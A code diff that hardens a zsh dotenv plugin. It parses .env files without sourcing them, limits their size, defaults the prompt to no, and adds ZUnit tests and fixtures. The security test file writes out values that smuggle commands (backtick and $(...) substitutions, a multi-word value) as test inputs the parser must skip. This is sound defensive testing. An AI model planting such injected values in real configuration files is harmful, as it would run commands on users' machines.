+    dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
+    # - unquoted text, but NOT unescaped ` or $(
+    uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
+    safe="(${sq}|${dq}|${uq})#"
+    # Remove the longest safe prefix; what remains starts at first unsafe construct
+    remainder="${value##${~safe}}"
+
+    if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
+      continue
+    fi
+    ## END: FILTER COMMAND EXPANSION
+
+    # Single-quoted values are fully literal and must not participate in expansion.
+    if [[ "$raw_value" == \'*\' ]]; then
+      value="${(Q)value}"
+      parsed_vars[$key]="$value"
+      if [[ "$mode" == "export" ]]; then
+        typeset -x "$key"="$value"
+      fi
+      continue
+    fi
+
+    # Preserve escaped dollars so they remain literal after unquoting.
+    escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
+    value="${value//\\\$/$escaped_dollar_placeholder}"
+
+    # Unquote the value to handle special characters and multiline values.
+    value="${(Q)value}"
+
+    # Expand previously parsed in-file variables without partial name matches.
+    expanded=""
+    prefix=""
+    remainder="$value"
+    var_name=""
+    while [[ "$remainder" == *'$'* ]]; do
+      prefix="${remainder%%\$*}"
+      expanded+="$prefix"
+      remainder="${remainder#$prefix}"
+
+      if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      else
+        expanded+='$'
+        remainder="${remainder#?}"
+        continue
+      fi
+
+      if [[ -v "parsed_vars[$var_name]" ]]; then
+        expanded+="${parsed_vars[$var_name]}"
+      fi
+    done
+    value="${expanded}${remainder}"
+    value="${value//$escaped_dollar_placeholder/\$}"
+
+    # Store in parsed vars (for in-file expansion)
+    parsed_vars[$key]="$value"
+
+    # Normal mode: export the variable
+    if [[ "$mode" == "export" ]]; then
+      typeset -x "$key"="$value"
+    fi
+  done
+
+  # In test mode, set DOTENV_TEST_VARS
+  typeset -gA DOTENV_TEST_VARS
+  DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
+}
+
+parse_dotenv() {
+  local filename="$1"
+  local mode="${2:-export}"
+  local content
+
+  # Fail if file is too large to avoid DoS
+  zmodload -F zsh/stat b:zstat
+  local -i file_size max_size=10485760  # 10MiB
+  if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
+    echo "dotenv: unable to determine size of file '$filename'" >&2
+    return 1
+  fi
+
+  if (( file_size > max_size )); then
+    echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
+    return 1
+  fi
+
+  content="$(<"$filename")" || return 1
+  _parse_dotenv_content "$content" "$mode"
+}
+
+_dotenv_read_limited() {
+  local filename="$1"
+  local chunk content=""
+  local -i max_size=10485760 total=0 read_size=0 fd read_status
+
+  zmodload zsh/system || return 1
+  exec {fd}<"$filename" || return 1
+
+  while true; do
+    sysread -i $fd -s 65536 -c read_size chunk
+    read_status=$?
+
+    if (( read_status == 5 )); then
+      break
+    elif (( read_status != 0 )); then
+      exec {fd}<&-
+      return 1
+    fi
+
+    (( total += read_size ))
+    if (( total > max_size )); then
+      exec {fd}<&-
+      echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
+      return 1
+    fi
+
+    content+="$chunk"
+  done
+
+  exec {fd}<&-
+  REPLY="$content"
+}
+
+_dotenv_check_syntax() {
+  local filename="$1"
+
+  if (( $# == 2 )); then
+    printf '%s' "$2" | zsh -fn /dev/stdin
+  else
+    zsh -fn -- "$filename"
+  fi || {
+    echo "dotenv: error when sourcing '$filename' file" >&2
+    return 1
+  }
+}
+
 source_env() {
   if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
     return
@@ -37,28 +299,35 @@ source_env() {
       [[ $column -eq 1 ]] || echo
 
       # print same-line prompt and output newline character if necessary
-      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
+      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
       read -k 1 confirmation
       [[ "$confirmation" = $'\n' ]] || echo
 
       # check input
       case "$confirmation" in
-        [nN]) return ;;
+        [yY]) ;;
         [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
         [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
-        *) ;; # interpret anything else as a yes
+        *) return ;; # interpret anything else as a no
       esac
     fi
   fi
 
-  # test .env syntax
-  zsh -fn $ZSH_DOTENV_FILE || {
-    echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
-    return 1
-  }
+  local content
+  if [[ -p "$ZSH_DOTENV_FILE" ]]; then
+    _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
+    content="$REPLY"
+    _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
+
+    setopt localoptions allexport
+    _parse_dotenv_content "$content"
+    return
+  fi
+
+  _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
 
   setopt localoptions allexport
-  source $ZSH_DOTENV_FILE
+  parse_dotenv "$ZSH_DOTENV_FILE"
 }
 
 autoload -U add-zsh-hook

plugins/dotenv/tests/_output/.gitignore

@@ -0,0 +1,2 @@
+*
+!.gitignore

plugins/dotenv/tests/_support/bootstrap

@@ -0,0 +1,139 @@
+#!/usr/bin/env zsh
+# Bootstrap script for dotenv plugin tests
+# This is sourced before any tests run and provides shared utilities
+
+# Load the dotenv plugin
+source "$PWD/dotenv.plugin.zsh"
+ZSH_DOTENV_PROMPT=false
+ZSH_DOTENV_FILE=/dev/null
+
+# Helper: Parse dotenv file in test mode
+_parse_dotenv_test() {
+  parse_dotenv "$1" "test"
+}
+
+# Helper: Parse dotenv file in export mode
+_parse_dotenv_export() {
+  unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
+
+  parse_dotenv "$1" "test"
+
+  for key in "${(k)DOTENV_TEST_VARS}"; do
+    typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
+  done
+}
+
+# Helper: Run parse_dotenv suppressing stderr
+_parse_dotenv_quiet() {
+  parse_dotenv "$@" 2>/dev/null
+}
+
+# Helper: Create a temporary test fixture
+_create_temp_fixture() {
+  local fixture
+  fixture==(:)  # Create temp file
+  echo "$fixture"
+}
+
+_write_temp_fixture() {
+  local fixture="$1"
+  > "$fixture"
+}
+
+
+# Helper: Source file with allexport and capture variables
+# Usage: _source_with_allexport "file.env"
+# Result is in DOTENV_SOURCE_VARS associative array
+_source_with_allexport() {
+  local filename="$1"
+
+  # Source with allexport in a subshell with no exported variables
+
+  # The return and capture of the exported variables is a bit of a pain:
+  # 1. We first store the key=value pairs in $vars associative array, which is
+  #    defined before allexport is set to avoid appearing in results.
+  # 2. Afterwards, we join all keys and values of the associative with null delimiters. With 
+  #    "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
+  #    we join them with nulls.
+  # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
+  #    empty values, and then uses it to populate an associative array.
+  # Don't try to understand this or change it unless you have to. Debugging is a nightmare.
+  typeset -gA DOTENV_SOURCE_VARS
+  DOTENV_SOURCE_VARS=("${(@0)"$(
+    local -A vars
+
+    # Clear all exports first
+    zmodload zsh/parameter
+    unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
+
+    # Source file with allexport
+    setopt localoptions allexport
+    source "$filename"
+
+    # Set all exported variables into an associative array
+    for key in ${(k)parameters[(R)*export*]}; do
+      vars[$key]="${(P)key}"
+    done
+
+    print -rn -- "${(@kvpj:\0:)vars}"
+  )"}")
+}
+
+
+## ZUnit assertion helpers
+
+_zunit_assert_function_exists() {
+  [[ "${+functions[$1]}" -eq 1 ]] && return 0
+  echo "Function '$1' does not exist"
+  exit 1
+}
+
+_zunit_assert_var_same_as() {
+  local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
+  if [[ $tvalue != $tcomp ]]; then
+    echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
+    exit 78
+  fi
+
+  # Special case for associative arrays
+  if [[ ${(Pt)1} == "association" ]]; then
+    local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
+    local -aU keys=("${(@k)value}" "${(@k)comparison}")
+
+    local ret=0 key
+    for key in "${keys[@]}"; do
+      # Key match checks
+      if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is set (value='${value[$key]}')"
+        ret=1
+      elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
+        ret=1
+      # Value match checks
+      elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
+        echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
+        ret=1
+      fi
+    done
+
+    exit $ret
+  fi
+
+  # Generic case
+  local value="${(P)1}" comparison="${(P)2}"
+  [[ "$value" != "$comparison" ]] || exit 0
+  echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
+  exit 1
+}
+
+_zunit_assert_var_is_set() {
+  [[ -v "$1" ]] && return 0
+  echo "Variable '$1' is not set"
+  exit 1
+}
+
+_zunit_assert_var_is_not_set() {
+  [[ ! -v "$1" ]] && return 0
+  echo "Variable '$1' is set"
+  exit 1
+}

plugins/dotenv/tests/_support/fixtures/dotenvjs.env

@@ -0,0 +1,88 @@
+# Consolidated dotenv test fixture from dotenv test suite
+# Source: https://github.com/motdotla/dotenv/tree/master/tests
+#
+# Copyright (c) 2015, Scott Motte
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
+
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"

plugins/dotenv/tests/_support/fixtures/features.env

@@ -0,0 +1,23 @@
+# Export syntax
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+
+# Testing multiline quoting edge cases
+MULTILINE_UNQUOTED=This\ is\ a\ \
+multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
+MULTILINE_DOUBLE_QUOTED="This is a \
+multiline value that should be treated as a single line with an actual newline character"
+MULTILINE_SINGLE_QUOTED='This is a \
+multiline value that should be treated as a single line with a literal backslash and newline'
+MULTILINE_MIXED_QUOTES="This is a \
+multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
+
+# Test for regressions
+DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
+VAR_WITH_SEMICOLONS="value ; with ; semicolons"

plugins/dotenv/tests/basic-parsing.zunit

@@ -0,0 +1,398 @@
+#!/usr/bin/env zunit
+
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'dotenv plugin loads successfully' {
+  assert "parse_dotenv" function_exists
+  assert "source_env" function_exists
+}
+
+@test 'parse returns error for unsupported mode' {
+  run _parse_dotenv_quiet "/dev/null" "export"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "test"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "invalid_mode"
+  assert $state equals 1
+}
+
+@test 'parse returns error for oversized file (> 10MiB)' {
+  command truncate -s 11M "$fixture" 2>/dev/null
+
+  run _parse_dotenv_quiet "$fixture" "test"
+  assert $state equals 1
+}
+
+@test 'parse returns error for non-existent file' {
+  run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
+  assert $state equals 1
+}
+
+@test 'source_env loads named pipes without blocking' {
+  local tmpdir fifo output result
+  local child_pid writer_pid killer_pid child_rc
+
+  tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
+  fifo="$tmpdir/.env"
+  output="$tmpdir/output"
+  command mkfifo "$fifo"
+
+  (
+    print -r -- 'TOKEN=secret' > "$fifo"
+  ) &
+  writer_pid=$!
+
+  (
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env
+    print -r -- "${TOKEN-<unset>}" > "$output"
+  ) &
+  child_pid=$!
+
+  (
+    sleep 2
+    kill -0 $child_pid 2>/dev/null || exit 0
+    kill $child_pid 2>/dev/null || exit 0
+  ) &
+  killer_pid=$!
+
+  wait $child_pid
+  child_rc=$?
+
+  kill $killer_pid 2>/dev/null || true
+  kill $writer_pid 2>/dev/null || true
+  wait $writer_pid 2>/dev/null || true
+
+  [[ -f "$output" ]] && result="$(<"$output")"
+  command rm -rf "$tmpdir"
+
+  assert $child_rc equals 0
+  assert "$result" equals 'secret'
+}
+
+@test 'source_env rejects oversized named pipes' {
+  run zsh -fc '
+    source ./dotenv.plugin.zsh
+
+    tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
+    fifo="$tmpdir/.env"
+    command mkfifo "$fifo" || exit 1
+
+    cleanup() {
+      kill $killer_pid 2>/dev/null || true
+      kill $writer_pid 2>/dev/null || true
+      wait $writer_pid 2>/dev/null || true
+      command rm -rf "$tmpdir"
+    }
+    trap cleanup EXIT
+
+    (
+      {
+        print -rn -- "BIG="
+        command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
+      } > "$fifo"
+    ) &
+    writer_pid=$!
+
+    (
+      sleep 2
+      kill -0 $$ 2>/dev/null || exit 0
+      kill $$ 2>/dev/null || exit 0
+    ) &
+    killer_pid=$!
+
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env >/dev/null 2>&1
+  '
+
+  assert $state equals 1
+}
+
+@test 'parse basic variable assignment' {
+  > "$fixture" <<'EOF'
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+EOF
+
+  expected_vars=(
+    BASIC 'basic'
+    AFTER_LINE 'after_line'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse empty values' {
+  > "$fixture" <<'EOF'
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+EOF
+
+  expected_vars=(
+    EMPTY ''
+    EMPTY_SINGLE_QUOTES ''
+    EMPTY_DOUBLE_QUOTES ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse single quoted values' {
+  > "$fixture" <<'EOF'
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+EOF
+
+  expected_vars=(
+    SINGLE_QUOTES 'single_quotes'
+    SINGLE_QUOTES_SPACED '    single quotes    '
+    DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse double quoted values' {
+  > "$fixture" <<'EOF'
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES 'double_quotes'
+    DOUBLE_QUOTES_SPACED '    double quotes    '
+    EXPAND_NEWLINES "expand\nnew\nlines"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse unquoted values' {
+  > "$fixture" <<'EOF'
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
+EOF
+
+
+  expected_vars=(
+    DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse quotes inside quotes' {
+  > "$fixture" <<'EOF'
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
+    SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse inline comments' {
+  > "$fixture" <<'EOF'
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+EOF
+
+  expected_vars=(
+    INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
+    INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
+    INLINE_COMMENTS_UNQUOTED 'value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse ignores non-assignment commands with assignment-looking arguments' {
+  > "$fixture" <<'EOF'
+print SHOULD_NOT_PARSE=value
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse special characters' {
+  > "$fixture" <<'EOF'
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+EOF
+
+  expected_vars=(
+    EQUAL_SIGNS 'equals=='
+    RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
+    USEREMAIL 'therealnerdybeast@example.tld'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse multiline values with mixed quotes' {
+  > "$fixture" <<'EOF'
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
+EOF
+
+  expected_vars=(
+    MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse export syntax' {
+  > "$fixture" <<'EOF'
+# Exported variables
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+EOF
+
+  expected_vars=(
+    EXPORTED_VAR 'exported_value'
+    EXPORTED_EMPTY ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion' {
+  > "$fixture" <<'EOF'
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+EOF
+
+  expected_vars=(
+    BASE_URL 'https://api.example.com'
+    API_ENDPOINT 'https://api.example.com/v1'
+    FULL_ENDPOINT 'https://api.example.com/v2/users'
+    COMBINED 'https://api.example.com_suffix'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion prefers the longest matching variable name' {
+  > "$fixture" <<'EOF'
+A=1
+ABC=2
+X=$ABC
+Y=${ABC}
+Z=$ABCD
+EOF
+
+  expected_vars=(
+    A '1'
+    ABC '2'
+    X '2'
+    Y '2'
+    Z ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse preserves escaped dollar signs before variable expansion' {
+  > "$fixture" <<'EOF'
+BAR=expanded
+ESCAPED_UNQUOTED=foo\$BAR
+ESCAPED_DOUBLE="foo\$BAR"
+ESCAPED_BRACED="\${BAR}"
+EOF
+
+  expected_vars=(
+    BAR 'expanded'
+    ESCAPED_UNQUOTED 'foo$BAR'
+    ESCAPED_DOUBLE 'foo$BAR'
+    ESCAPED_BRACED '${BAR}'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}

plugins/dotenv/tests/compatibility.zunit

@@ -0,0 +1,27 @@
+#!/usr/bin/env zunit
+
+@setup {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@teardown {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'compatibility: dotenvjs fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
+
+@test 'compatibility: features fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/features.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}

plugins/dotenv/tests/security.zunit

@@ -0,0 +1,209 @@
+#!/usr/bin/env zunit
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'skip dangerous backtick command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_BACKTICK=`whoami`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dangerous subshell command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_SUBSHELL=$(date)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip nested command substitution in double quotes' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip multiple words (potential command execution)' {
+  > "$fixture" <<'EOF'
+# Should be skipped - multiple words could execute commands
+BASE_URL=/ echo command run
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow literal command substitution in single quotes' {
+  > "$fixture" <<'EOF'
+# Single quotes make everything literal - should be parsed
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_BACKTICK='`also literal`'
+
+# Should also be parsed
+SAFE_VAR=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_BACKTICK '`also literal`'
+    SAFE_VAR 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip backticks in unquoted values' {
+  > "$fixture" <<'EOF'
+# Backticks in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=`echo danger`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dollar-paren in unquoted values' {
+  > "$fixture" <<'EOF'
+# Command substitution in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=$(uname -a)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
